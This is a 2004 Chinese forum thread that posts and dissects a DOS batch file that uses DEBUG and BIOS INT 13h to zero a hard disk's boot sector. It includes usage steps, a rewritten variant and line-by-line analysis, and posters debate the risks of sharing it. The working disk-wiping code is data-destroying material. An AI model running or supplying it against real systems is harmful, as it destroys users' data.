Board logo

标题: 最危险的批处理(清除硬盘所有数据) [打印本页]

作者: gmy     时间: 2004-2-2 00:00    标题: 最危险的批处理(清除硬盘所有数据)

这是学习DEBUG的绝好机会!

  Quote:
@ECHO OFF
ECHO BE VERY CAREFUL, KILLHDD.bat WILL REMOVE EVRYTHING FROM YOUR DISK.
ECHO+
IF NOT EXIST %0 GOTO ERROR
ECHO PRESS A KEY TO DELETE ALL DATA ON YOUR HARD DISK, CTRL+C TO CANCEL.
pause >nul
DEBUG <%0
ECHO SUCCESS!
ECHO Computer is HALTED, Hit Ctrl+Alt+Del To Reboot . . .
CTTY NUL
A 100
INT 13

RAX
0301
RBX
0200
F 200 L 200 0
RCX
0001
RDX
0080
P
Q

;REPLACE 0080 WITH  0081 IF YOU
;WANT TO CLEAR THE SECOND PHYSICAL
;HDD, 0082 FOR THE THIRD HDD,ETC.

:ERROR
ECHO YOU MUST TYPE THE FULL FILE NAME (KILLHDD.BAT) TO EXECUTE.

使用方法:新建一个文件,把以上内容复制进去,保存为KILLHDD.BAT,放到启动盘里(必须有DEBUG.EXE这个文件),找一个没用的硬盘作试验。

怀疑:以前只听说过清除0扇区的例子,整个硬盘都清0的DEBUG程序还是第一次看到,
请大家帮助分析一下。

作者: Kinglion     时间: 2004-2-3 00:00
这个批处理文件也可以这样写 :

@ECHO OFF
ECHO WARNING! BE VERY CAREFUL, KILLHDD.BAT Will REMOVE EVRYTHING FROM YOUR DISK.
ECHO.
IF NOT EXIST DEBUG.EXE GOTO ERROR
IF EXIST A.TXT DEL A.TXT
ECHO PRESS A KEY TO DELETE ALL DATA ON YOUR HARD DISK, CTRL+C TO CANCEL.
pause > nul
ECHO A 100 > A.TXT
ECHO INT 13 >> A.TXT
ECHO. >> A.TXT
ECHO R AX >> A.TXT
ECHO 0301 >> A.TXT
ECHO R BX >> A.TXT
ECHO 0200 >> A.TXT
ECHO F 200 L 200 0 >> A.TXT
ECHO R CX >> A.TXT
ECHO 0001 >> A.TXT
ECHO R DX >> A.TXT
ECHO 0080 >> A.TXT
ECHO P >> A.TXT
ECHO Q >> A.TXT
ECHO.  >> A.TXT
DEBUG < A.TXT
ECHO SUCCESS!
ECHO Computer is HALTED, Hit Ctrl+Alt+Del To Reboot . . .
CTTY NUL

;REPLACE 0080 WITH  0081 IF YOU WANT TO CLEAR THE SECOND PHYSICAL HDD, 0082 FOR THE THIRD HDD,ETC.

:ERROR
ECHO DEBUG.EXE NOT FOUND!

有什么不妥之处请大家指正!
作者: willsort     时间: 2004-2-6 00:00
**********
已被作者删除
**********

[此贴子已经被作者于2004-2-6 15:28:50编辑过]



作者: willsort     时间: 2004-2-6 00:00
Re gmy:

    总体来说,有些言过其实。实际上此程序只能清除硬盘主引导扇区(0,0,1),在windows下运行还会出现问题,因为windows的dos方式是禁止直接读写硬盘的。

    程序关键在于那段debug脚本,其它都只起辅助和说明作用,分析一下:

  Quote:
A 100              ;在0100处开始汇编,
INT 13             ;调用Rom bios 的 int13 中断对硬盘进行直接读写
                   ;结束汇编。以下置寄存器ax,bx,cx,dx的值,作为int13的参数
RAX                ;
0301               ;03代表写硬盘,01代表写一个扇区
RBX
0200               ;0200代表将内存中[0200]处字节内容写到目标扇区
F 200 L 200 0      ;填充[0200]处字节为0,长度为200
RCX
0001               ;0磁头,1扇区
RDX
0080               ;0磁柱/磁道,80第一硬盘,第二硬盘为81
P                  ;执行0100处的中断代码
Q                  ;退出debug

[此贴子已经被作者于2004-2-6 15:43:38编辑过]



作者: willsort     时间: 2004-2-6 00:00
Re All:

    刚才那段脚本,其实是一个十分简单的脚本,但是对于初学者来说,破坏性还是较强。建议不要轻易尝试。

    真正实现硬盘全部清零,必须获取硬盘物理参数,然后循环清除相应的扇区,这一步我目前只是设想,从未真正实现。

    另外,那段脚本可以改得更清晰一些:

  Quote:
f 200 L 200 0
a100
mov ax,0301    ;改成0201,即为读一扇区至[bx]处
mov bx,0200
mov cx,0001
mov dx,0080
int13
int20

g
q


作者: tdj     时间: 2004-2-6 00:00
楼上的几位仁兄,求求各位了,这类批处理是最可怕的(不是病毒,比病毒还狠),杀毒软件无效,稍做改动运行起来,无论高手或低手都在劫难逃。这类批处理不做也罢!还是手动处理吧!
作者: 如是大师     时间: 2004-2-6 00:00
老葛的东东在dos之家可是高机密的哟。大家也不抬抬庄。。
作者: iceboy     时间: 2004-2-6 00:00
另类“批处理病毒”呵呵
顺便说说, ctty nul 是 DOS 时代耍猴的法宝哦
作者: morixin     时间: 2004-2-7 00:00
这种骗小孩的批处理也算厉害?笑掉牙!有本事在WIN2000、NT下试试?保护模式下看你如何玩?退一步说,即使能清掉,随便一个恢复工具立马修好!真正的硬盘清零绝不是两、三秒钟就能搞定的。以前的江民炸弹现在也不到一分钟就恢复了。
作者: willsort     时间: 2004-2-7 00:00
Re  tdj:

    让大家了解一些dos下操作硬盘的基本常识其实无可厚非,只是方式有些极端而已。比如,以上的代码,经过简单修改完全可以改成备份和恢复硬盘主引导扇区和dos引导扇区的批程序,而且简单好用,对付以上此种的恶意代码就很简单了。

Re morixin:

    你的水平有多少我不了解,但是能在一分钟内恢复江民炸弹破坏的情况,能做到的人我相信没有几个。为什么?因为即使懂得这方面的知识,加上问题判断和程序制作,时间会大大延长;如果只有一台机器,那么情况会更难堪。真正一分钟能完成的情况可以说极其少见,除非上万台机器同时发生此种情况,然后求平均时间:)

    所以,这位兄弟还是想的太理想了些。如果你知道很多东西,建议你多贴一些上来,让我和大家共同学习。







[此贴子已经被作者于2004-2-7 20:08:06编辑过]



作者: tdj     时间: 2004-2-7 00:00
Re willsort:我觉得在一块硬盘存储几十季甚至上百季数据的今天,硬盘本身的价值相对小多了,防范和避免应该是重点。发生问题时亡羊补牢已经是晚了。各位网友的素质不一,一旦画虎不成,楼上几位罪过不轻!!!
Re morixin:比建设更迅速的是毁灭,比修复更容易的是破坏,请三思!!!!
作者: willsort     时间: 2004-2-8 00:00
Re tdj:

    如何防范和避免,难道需要依靠技术的垄断和无知?而不是信息的透明与公开。只要公布解法,问题自然不会成为问题。

    何不考虑我的建议,编一个备份恢复程序。附上详细的使用说明,防范和避免就很简单。也算一大功德。
作者: tdj     时间: 2004-2-8 00:00
…………唉!…………也许你是对的。总不能因噎废食呀。小弟还仅算一只不太菜的鸟,近期一直在教学室和解答室看帖。如果willsort兄查一下,频率最高的几个问题,不知会怎么想……
一些高手可以指哪打哪。多数可能打完了还不知道往哪指……



[此贴子已经被作者于2004-2-8 18:30:08编辑过]